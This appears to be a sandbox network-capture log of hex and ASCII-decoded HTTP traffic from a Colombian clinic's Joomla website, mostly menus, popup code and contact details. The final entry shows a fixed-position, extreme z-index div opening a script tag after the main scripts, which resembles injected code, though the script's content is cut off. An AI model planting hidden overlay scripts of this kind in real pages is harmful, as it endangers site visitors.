2023-03-10 06:56:20 UTC	1276	IN	Data Raw: 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 32 31 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 73 6f 6d 6f 73 2d 65 73 70 65 63 69 61 6c 69 73 74 61 73 2f 65 71 75 69 70 6f 2d 6d 65 64 69 63 6f 2f 70 65 64 69 61 74 72 61 73 22 3e 0a 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 65 64 69 61 74 72 61 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 Data Ascii: g-menu-item-type-component g-menu-item-215 "><a class="g-menu-item-container" href="/index.php/somos-especialistas/equipo-medico/pediatras"> <span class="g-menu-item-content"><span class="g-menu-item-title">Pediatras</span></span></a></li><li clas
2023-03-10 06:56:20 UTC	1277	IN	Data Raw: 2f 75 6c 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 73 65 70 61 72 61 74 6f 72 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 31 30 20 67 2d 70 61 72 65 6e 74 20 67 2d 73 74 61 6e 64 61 72 64 20 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 64 61 74 61 2d 67 2d 6d 65 6e 75 70 61 72 65 6e 74 3d 22 22 3e 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 73 65 70 61 72 61 74 6f 72 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d Data Ascii: /ul></div></div></li></ul></li><li class="g-menu-item g-menu-item-type-separator g-menu-item-110 g-parent g-standard "><div class="g-menu-item-container" data-g-menuparent=""> <span class="g-separator g-menu-item-content"> <span class="g-menu-item
2023-03-10 06:56:20 UTC	1278	IN	Data Raw: 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 6f 6c c3 ad 74 69 63 61 73 20 69 6e 73 74 69 74 75 63 69 6f 6e 61 6c 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 31 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 76 61 6c 6f 72 65 73 2d 63 6f 72 70 6f 72 61 74 69 76 6f 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f Data Ascii: enu-item-title">Polticas institucionales</span></span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-115 "><a class="g-menu-item-container" href="/index.php/nuestra-clinica/valores-corporativos"><span class="g-menu-item-co
2023-03-10 06:56:20 UTC	1280	IN	Data Raw: 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 61 63 69 65 6e 74 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 70 61 72 65 6e 74 2d 69 6e 64 69 63 61 74 6f 72 22 20 64 61 74 61 2d 67 2d 6d 65 6e 75 70 61 72 65 6e 74 3d 22 22 3e 3c 2f 73 70 61 6e 3e 20 3c 2f 61 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 67 2d 64 72 6f 70 64 6f 77 6e 20 67 2d 69 6e 61 63 74 69 76 65 20 67 2d 66 61 64 65 20 67 2d 64 72 6f 70 64 6f 77 6e 2d 72 69 67 68 74 22 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 64 72 6f 70 64 6f 77 6e 2d 63 6f 6c 75 6d 6e 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c Data Ascii: tem-content"><span class="g-menu-item-title">Pacientes</span></span><span class="g-menu-parent-indicator" data-g-menuparent=""></span> </a><ul class="g-dropdown g-inactive g-fade g-dropdown-right"><li class="g-dropdown-column"><div class="g-grid"><
2023-03-10 06:56:20 UTC	1281	IN	Data Raw: 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 6e 75 65 73 74 72 6f 73 2d 70 61 63 69 65 6e 74 65 73 2f 65 64 75 63 61 63 69 6f 6e 2d 79 2d 70 72 6f 6d 6f 63 69 6f 6e 2d 70 61 72 61 2d 6c 61 2d 64 6f 6e 61 63 69 6f 6e 2d 64 65 2d 6f 72 67 61 6e 6f 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 45 64 75 63 61 63 69 c3 b3 6e 20 79 20 70 72 6f 6d 6f 63 69 c3 b3 6e 20 70 61 72 61 20 6c 61 20 64 6f 6e 61 63 69 c3 b3 6e 20 64 65 20 c3 b3 72 67 61 6e 6f 73 20 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c Data Ascii: " href="/index.php/nuestra-clinica/nuestros-pacientes/educacion-y-promocion-para-la-donacion-de-organos"><span class="g-menu-item-content"><span class="g-menu-item-title">Educacin y promocin para la donacin de rganos </span></span></a></li><
2023-03-10 06:56:20 UTC	1282	IN	Data Raw: 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 33 38 34 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 69 6e 64 69 63 61 64 6f 72 65 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 49 6e 64 69 63 61 64 6f 72 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 Data Ascii: nu-item-type-component g-menu-item-384 "><a class="g-menu-item-container" href="/index.php/nuestra-clinica/indicadores"><span class="g-menu-item-content"><span class="g-menu-item-title">Indicadores</span></span></a></li><li class="g-menu-item g-me
2023-03-10 06:56:20 UTC	1284	IN	Data Raw: 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 31 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 63 6f 6e 74 61 63 74 6f 2f 64 69 72 65 63 74 6f 72 69 6f 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 44 69 72 65 63 74 6f 72 69 6f 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d Data Ascii: ="g-menu-item g-menu-item-type-component g-menu-item-231 "><a class="g-menu-item-container" href="/index.php/contacto/directorio"><span class="g-menu-item-content"><span class="g-menu-item-title">Directorio</span></span></a></li><li class="g-menu-
2023-03-10 06:56:20 UTC	1285	IN	Data Raw: 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 63 6f 6e 74 61 63 74 6f 2f 63 6f 70 61 73 73 74 2d 32 30 32 30 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 43 4f 50 41 53 53 54 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 Data Ascii: "g-menu-item-container" href="/index.php/contacto/copasst-2020"><span class="g-menu-item-content"><span class="g-menu-item-title">COPASST</span></span></a></li></ul></div></div></li></ul></li><li class="g-menu-item g-menu-item-type-component g
2023-03-10 06:56:20 UTC	1288	IN	Data Raw: 6c 65 3e 0d 0a 2e 67 61 66 61 6e 63 79 62 6f 78 2d 6c 6f 63 6b 20 7b 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0d 0a 2e 67 61 66 61 6e 63 79 62 6f 78 2d 69 6e 6e 65 72 20 7b 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0d 0a 23 67 61 66 61 6e 63 79 62 6f 78 2d 6f 76 65 72 6c 61 79 33 37 39 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 31 32 29 3b 0d 0a 09 6f 70 61 63 69 74 79 3a 20 3b 0d 0a 7d 0d 0a 23 67 61 66 61 6e 63 79 62 6f 78 2d 73 6b 69 6e 33 37 39 7b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 31 29 3b 2f 2a 70 6f 70 75 70 20 62 61 63 6b 67 72 6f 75 6e Data Ascii: le>.gafancybox-lock {overflow: hidden !important;}.gafancybox-inner {overflow: hidden !important;}#gafancybox-overlay379 {background: rgba(0, 0, 0, 0.12);opacity: ;}#gafancybox-skin379{background: rgba(255, 255, 255, 1);/*popup backgroun
2023-03-10 06:56:20 UTC	1289	IN	Data Raw: 65 27 2c 20 2f 2f 65 6c 61 73 74 69 63 2c 20 66 61 64 65 20 6f 72 20 6e 6f 6e 65 0d 0a 20 20 20 20 20 20 20 20 63 6c 6f 73 65 53 70 65 65 64 20 20 20 3a 20 32 35 30 2c 20 20 20 20 0d 0a 09 09 09 09 61 75 74 6f 48 65 69 67 68 74 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 61 75 74 6f 57 69 64 74 68 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 77 69 64 74 68 20 20 20 20 20 3a 20 37 38 30 2c 0d 0a 09 09 6d 61 78 48 65 69 67 68 74 20 3a 20 38 30 30 2c 09 0d 0a 09 09 63 6c 6f 73 65 43 6c 69 63 6b 20 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 09 0d 0a 09 09 09 0d 0a 09 09 74 70 6c 3a 20 7b 0d 0a 09 09 09 09 6f 76 65 72 6c 61 79 20 20 3a 20 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 61 66 61 6e 63 79 62 6f 78 2d 6f 76 65 72 6c 61 79 22 20 69 64 3d 22 67 61 66 61 6e 63 79 62 6f Data Ascii: e', //elastic, fade or none closeSpeed : 250, autoHeight : false,autoWidth : false,width : 780,maxHeight : 800,closeClick : false,tpl: {overlay : '<div class="gafancybox-overlay" id="gafancybo
2023-03-10 06:56:20 UTC	1290	IN	Data Raw: 6f 78 69 64 29 2e 73 74 79 6c 65 2e 76 69 73 69 62 69 6c 69 74 79 3d 22 68 69 64 64 65 6e 22 3b 0d 0a 7d 0d 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 2d 61 68 6f 6c 69 63 33 37 39 22 20 68 72 65 66 3d 22 23 69 6e 6c 69 6e 65 2d 61 75 74 6f 33 37 39 22 3e 3c 2f 61 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 3e 0a 3c 64 69 76 20 69 64 3d 22 69 6e 6c 69 6e 65 2d 61 75 74 6f 33 37 39 22 3e 0a 3c 70 3e 3c 61 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 6e 75 65 73 74 72 6f 73 2d 70 61 63 69 65 6e 74 65 73 2f 62 6c 6f 67 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 20 72 65 6c 3d 22 6e 6f 6f 70 65 6e 65 72 22 3e 3c 69 6d 67 Data Ascii: oxid).style.visibility="hidden";}</script><a class="popup-aholic379" href="#inline-auto379"></a><div style="display:none;"><div id="inline-auto379"><p><a href="/index.php/nuestra-clinica/nuestros-pacientes/blog" target="_blank" rel="noopener"><img
2023-03-10 06:56:20 UTC	1293	IN	Data Raw: 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 61 6e 69 6d 61 74 65 64 20 67 2d 62 67 2d 34 20 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 61 6e 69 6d 61 74 69 6f 6e 2d 32 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 72 6f 63 6b 65 74 6c 61 75 6e 63 68 65 72 2f 68 6f 6d 65 2f 73 6c 69 64 65 73 68 6f 77 2f 69 6d 67 2d 30 32 2e 70 6e 67 22 20 61 6c 74 3d 22 69 6d 61 67 65 22 20 2f 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 74 69 74 6c 65 22 3e 0a 3c 73 70 61 6e 3e 43 69 74 61 73 20 4d c3 a9 64 69 63 61 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e Data Ascii: <div class="g-animatedblock-animated g-bg-4 g-animatedblock-animation-2"><img src="/images/rocketlauncher/home/slideshow/img-02.png" alt="image" /><div class="g-animatedblock-title"><span>Citas Mdicas</span></div><div class="g-animatedblock-button
2023-03-10 06:56:20 UTC	1298	IN	Data Raw: 73 6c 69 64 65 73 68 6f 77 2f 69 6d 67 2d 30 34 2e 70 6e 67 22 20 61 6c 74 3d 22 53 61 6c 69 65 6e 74 22 20 2f 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 31 30 30 20 6e 6f 70 61 64 64 69 6e 67 61 6c 6c 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 61 Data Ascii: slideshow/img-04.png" alt="Salient" /></div></div></div></div></div></div><div class="g-grid"><div class="g-block size-100 nopaddingall"><div class="g-content"><div class="moduletable "><div class="g-animatedblock "><div class="g-animatedblock-a
2023-03-10 06:56:20 UTC	1301	IN	Data Raw: 69 73 74 61 73 2f 73 65 72 76 69 63 69 6f 2f 61 70 6f 79 6f 2d 64 69 61 67 6e 6f 73 74 69 63 6f 22 3e 41 70 6f 79 6f 20 44 69 61 67 6e c3 b3 73 74 69 63 6f 3c 2f 61 3e 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 2f 66 69 67 75 72 65 3e 0a 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 32 30 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 20 63 65 6e 74 65 72 20 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 68 6f 6d 65 22 3e 0a 3c 66 69 67 75 72 65 20 63 6c 61 73 73 3d Data Ascii: istas/servicio/apoyo-diagnostico">Apoyo Diagnstico</a></div> </div></figure></div> </div></div></div><div class="g-block size-20"><div class="g-content"><div class="moduletable "><div class="g-promoimage center g-promoimage-home"><figure class=
2023-03-10 06:56:20 UTC	1302	IN	Data Raw: 3e 0a 3c 66 69 67 75 72 65 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 65 66 66 65 63 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 69 63 6f 6e 62 75 74 74 6f 6e 20 22 3e 3c 2f 73 70 61 6e 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 68 6f 6d 65 2f 63 61 6e 67 75 72 6f 2d 62 61 6a 61 2e 6a 70 67 22 20 61 6c 74 3d 22 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 63 61 70 74 69 6f 6e 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 69 63 6f 6e 22 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 64 65 73 63 22 3e 3c 61 20 63 6c 61 73 73 3d 22 70 6f 72 74 61 Data Ascii: ><figure class="g-promoimage-effect"><span class="g-promoimage-iconbutton "></span><img src="/images/home/canguro-baja.jpg" alt=""><div class="g-promoimage-caption"><div class="g-promoimage-icon"></div><div class="g-promoimage-desc"><a class="porta
2023-03-10 06:56:20 UTC	1304	IN	Data Raw: 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 31 30 30 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 70 61 63 65 72 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0a 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 2d 38 31 32 34 22 20 63 6c 61 73 73 3d 22 67 2d 77 72 61 70 70 65 72 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 35 30 22 3e 0a 3c 66 6f 6f 74 65 72 20 69 64 3d 22 67 2d 66 6f 6f 74 65 72 22 3e 0a 3c 64 69 76 20 63 6c 61 Data Ascii: grid"><div class="g-block size-100"><div class="spacer"></div></div></div></div></section><section id="g-container-8124" class="g-wrapper"><div class="g-container"> <div class="g-grid"><div class="g-block size-50"><footer id="g-footer"><div cla
2023-03-10 06:56:20 UTC	1306	IN	Data Raw: 63 69 c3 b3 6e 3a 20 4c 75 6e 20 2d 20 56 69 65 20 37 3a 30 30 20 61 2e 6d 2e 20 61 20 35 3a 30 30 20 70 2e 6d 2e 20 6a 6f 72 6e 61 64 61 20 43 6f 6e 74 69 6e 75 61 2e 0a 3c 2f 62 72 3e 3c 62 72 3e 3c 2f 62 72 3e 0a 3c 73 74 72 6f 6e 67 3e 43 69 74 61 73 20 50 72 6f 67 72 61 6d 61 20 43 61 6e 67 75 72 6f 3a 20 3c 70 3e 36 30 37 36 34 33 30 30 32 36 20 45 78 74 2e 33 36 31 2d 33 36 34 20 2d 20 3c 62 72 3e 20 3c 73 74 72 6f 6e 67 3e 48 6f 72 61 72 69 6f 20 64 65 20 41 74 65 6e 63 69 c3 b3 6e 3a 20 44 65 20 4c 75 6e 65 73 20 61 20 56 69 65 72 6e 65 73 20 64 65 20 37 3a 30 30 20 61 2e 6d 2e 20 61 20 31 32 3a 30 30 20 6d 20 79 20 64 65 20 32 3a 30 30 20 70 2e 6d 2e 20 61 20 36 3a 30 30 20 70 2e 6d 2e 0a 3c 2f 62 72 3e 3c 62 72 3e 3c 2f 62 72 3e 0a 3c 73 74 72 Data Ascii: cin: Lun - Vie 7:00 a.m. a 5:00 p.m. jornada Continua.</br><br></br><strong>Citas Programa Canguro: <p>6076430026 Ext.361-364 - <br> <strong>Horario de Atencin: De Lunes a Viernes de 7:00 a.m. a 12:00 m y de 2:00 p.m. a 6:00 p.m.</br><br></br><str
2023-03-10 06:56:20 UTC	1307	IN	Data Raw: 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 69 74 65 6d 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 6c 61 62 65 6c 22 3e 4e 75 65 76 6f 20 53 6f 74 6f 6d 61 79 6f 72 3c 2f 64 69 76 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 74 65 78 74 22 3e 4e 75 65 76 6f 20 53 6f 74 6f 6d 61 79 6f 72 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 69 74 65 6d 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 6c 61 62 65 6c 22 3e 50 42 58 3c 2f 64 69 76 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 74 65 78 74 22 3e 50 42 58 3a 20 2b 35 37 20 36 30 37 20 36 34 Data Ascii: </div><div class="g-contact-item"><div class="g-contact-label">Nuevo Sotomayor</div> <div class="g-contact-text">Nuevo Sotomayor</div> </div><div class="g-contact-item"><div class="g-contact-label">PBX</div> <div class="g-contact-text">PBX: +57 607 64
2023-03-10 06:56:20 UTC	1308	IN	Data Raw: 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 20 67 2d 70 61 72 74 69 63 6c 65 22 3e 20 3c 61 20 68 72 65 66 3d 22 2f 22 20 74 69 74 6c 65 3d 22 22 20 72 65 6c 3d 22 68 6f 6d 65 22 20 63 6c 61 73 73 3d 22 67 2d 66 6f 6f 74 65 72 2d 6c 6f 67 6f 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 32 30 32 31 2f 49 63 6f 6e 74 65 63 5f 4c 6f 67 6f 2e 6a 70 67 22 20 61 6c 74 3d 22 43 6c 69 6e 69 63 61 20 53 61 6e 20 4c 75 69 73 22 20 2f 3e 0a 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 20 73 69 7a 65 2d 33 33 2d 33 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 6f 74 6f 70 2d 36 38 34 36 2d 70 61 72 74 69 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 20 67 2d 70 Data Ascii: class="g-content g-particle"> <a href="/" title="" rel="home" class="g-footer-logo"><img src="/images/2021/Icontec_Logo.jpg" alt="Clinica San Luis" /></a></div></div><div class="g-block size-33-3"><div id="totop-6846-particle" class="g-content g-p
2023-03-10 06:56:20 UTC	1310	IN	Data Raw: 34 34 30 0d 0a 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 6a 73 2f 6d 61 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 70 69 6e 22 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 74 3b 22 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 62 6f 74 74 6f 6d 3a 20 30 70 78 3b 20 72 69 67 68 74 3a 30 70 78 3b 20 7a 2d 69 6e 64 65 78 3a 39 39 39 39 39 39 39 39 39 39 39 39 3b 20 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 3b 22 3e 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 4a 61 76 61 53 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 4a 61 76 61 53 Data Ascii: 440"text/javascript" src="/media/gantry5/assets/js/main.js"></script><p class="pin"><span style="font-size: 10pt;"><div style="position: fixed; bottom: 0px; right:0px; z-index:999999999999; display:block;"><script language="JavaScript" type="text/JavaS
